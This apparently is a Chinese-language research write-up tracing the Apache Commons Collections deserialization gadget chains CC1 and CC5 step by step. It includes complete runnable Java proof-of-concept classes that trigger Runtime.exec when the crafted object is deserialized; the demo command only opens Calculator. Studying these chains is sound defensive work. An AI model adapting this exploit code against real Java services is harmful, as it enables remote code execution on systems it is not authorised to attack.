分析是按照前人的POC去逆推RCE的流程:
寻找RCE利用点(反射)->封装gadget->寻找readObjet()
在org/apache/commons/collections/functors/InvokerTransformer.java,它继承了Transformer和Serializable接口(可以被序列化),内部的transform函数进行了反射操作
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, `iParamTypes`);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}只需在相应位置补足反射所需的数据类型即可RCE:
input:Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null) //获得Runtime实例
iMethodName:“exec”
iParamTypes:String.class
本地按照数据类型填充,能够利用InvokerTransformer.java#transform成功反射并执行Runtime.getRuntime().exec("xxx"),验证代码如下
package vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class test {
public static void main (String[] args) throws Exception{
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
InvokerTransformer evil = new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"open /System/Applications/Calculator.app/"});
evil.transform(input);
}
}在需要补足的类型中,iMethodName与iParamTypes在InvokerTransformer构造函数中被赋值,即在初始化iTransformers时给定参数即可,现在只需要我们解决input来源。往回追调用栈,继续分析上一层栈的代码ChainedTransformer.java#transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}在transform这个for循环中,–i的object会作为第i次函数调用的实参,而iTransformers[0]是ConstantTransformer实例,跟进ConstantTransformer(下图)
发现ConstantTransformer#transform把构造函数定义的iConstant变量返回。所以只需定义iTransformers[0]=new ConstantTransformer(Runtime.class)即可在第二次(i=1)循环中将object赋值为Runtime.class,也就是我们想要的input
ChainedTransformer也继承自Transformer, Serializable,那么就可以利用ChainedTransformer构造一个完整的反射链如下
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
}这段代码也是“跳板思想”,借助Runtime.getRuntime().invoke(null)先获取Runtime实例后再去执行exec。我们在调用ChainedTransformer()的地方下断,分析一下它的数据走向
第二个下断在ChainedTransformer#transform,可以看到第一次循环我们拿到的object为java.lang.Runtime的Class
第二、三、四次循环不再调用ConstantTransformer#transform,而是调用InvokerTransformer#transform,步入文章伊始提到的反射操作。值得注意的是,后三次的循环object值均来自此方法中return的method.invoke(input, iArgs)

画这四次循环的流程图如下,第2、3步骚操作的核心就是为了获取Runtime实例
到这里RCE的利用点成功推演,现在还有两个任务
第一个任务:将transformerChain封装成更加合理的触发,因为正常人不会直接调用ChainedTransformer.transform,这就要求我们找到一个即调用transform又要对象可控的地方=>Map.setValue。比如在下文会提到利用AnnotationInvocationHandler中对Map数组元素进行遍历和赋值操作引发的Map.setValue操作
封装首先要利用TransformedMap的修饰器(引用P神在漫谈中的引述👇)
封装的EXP如下,调用outerMap.entrySet().iterator().next()将outerMap绑定 成为onlyElement的parent(实现继承关系)
//已经构造好transformerChain
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");在调用onlyElement.setValue()会向上调用outerMap.checkSetValue,而经过装饰outerMap.valueTransformer的值是我们构造的transformerChain,如此便触发ConstantTransformer(#简称transformerChain).transform的调用

这应该是种常见的Map遍历操作,之前在csdn也有类似用法的demoentrySet用法 以及遍历map的用法
第二个任务:找到一个readobject复写的类,即找一个反序列化合理的入口
在JDK7有sun.reflect.annotation.AnnotationInvocationHandler包,反序列化核心代码如下
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}其中如下操作与上文构造EXP手法相同,对Map中的键值对进行遍历
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext())memberValues可以在构造函数中赋值。但在try、catch时不能进入异常处理且var7 != null才可进行setValue,里面有个坑点就是在创建Map时写入的键名一定要为”value”,否则在readObject()中,以var6为键名的“hpdoger”无法在var3中匹配到相应的键值,从而使var7=null无法执行setValue
package vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.io.*;
public class CC1Des {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ct = clazz.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ct.setAccessible(true);
//获取AnnotationInvocationHandler类实例
// Object instance = ct.newInstance(Target.class, outerMap);
Object instance = ct.newInstance(Retention.class, outerMap);
//模拟反序列化流程
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(instance);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
//手动触发漏洞
// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
// onlyElement.setValue("foobar");
}
}JDK8修补了sun.reflect.annotation.AnnotationInvocationHandler,但仍有bypass,这里分析CC5的调用链如下
->BadAttributeValueExpException.readObject()
->TideMapEntry.toString()
->TideMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()从下面代码可看出,LazyMap#get调用了transform,且factory可以是实现了Transformer接口的实例,正好满足transformerChain的数据类型
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}继续找哪里能调用LazyMap.get(),在org/apache/commons/collections/keyvalue/TiedMapEntry.java#getValue中有调用链
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}这里只需让TiedMapEntry.map = transformerChain;即可触发RCE。最后寻找有没有readObject的复写操作能调用TiedMapEntry.toString(),最终实现在javax/management/BadAttributeValueExpException.java

package vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.io.*;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
//yso-CC5 CC version:3.1-3.2.1,jdk1.8
public class CCJDK8 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建LazyMap并绑定transformerChain
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//TiedMapEntry.map = transformerChain
TiedMapEntry evilMap = new TiedMapEntry(lazyMap,"hpdoger");
//复写入口BadAttributeValueExpException,构造valObj = evilMap
BadAttributeValueExpException evilObj = new BadAttributeValueExpException(null);
Field valfield = evilObj.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(evilObj, evilMap);
//模拟反序列化流程
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(evilObj);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
在我看来,这个反序列化最核心的点是在于寻找transformerChain这个反射链的构造,至于将它封装成Map后寻找readObject复写,缝缝补补总有疏漏,虽然JDK不断升级修复,但可能在其他外部依赖也有类似问题。
最后,AnnotationType.getInstance(this.type)这一注解的操作暂时没有研究很深,因此在构造Object instance = ct.newInstance(Target.class, outerMap);的时候我也有些疑惑,为什么第一个参数是java.lang.annotation.Target的Class,有空补一下相关的知识放到blog。不过话说回来,这里的Target.class替换成Retention.class也是可以的
P神知识星球&各种文章,踩在巨人肩膀,感谢前辈们筑路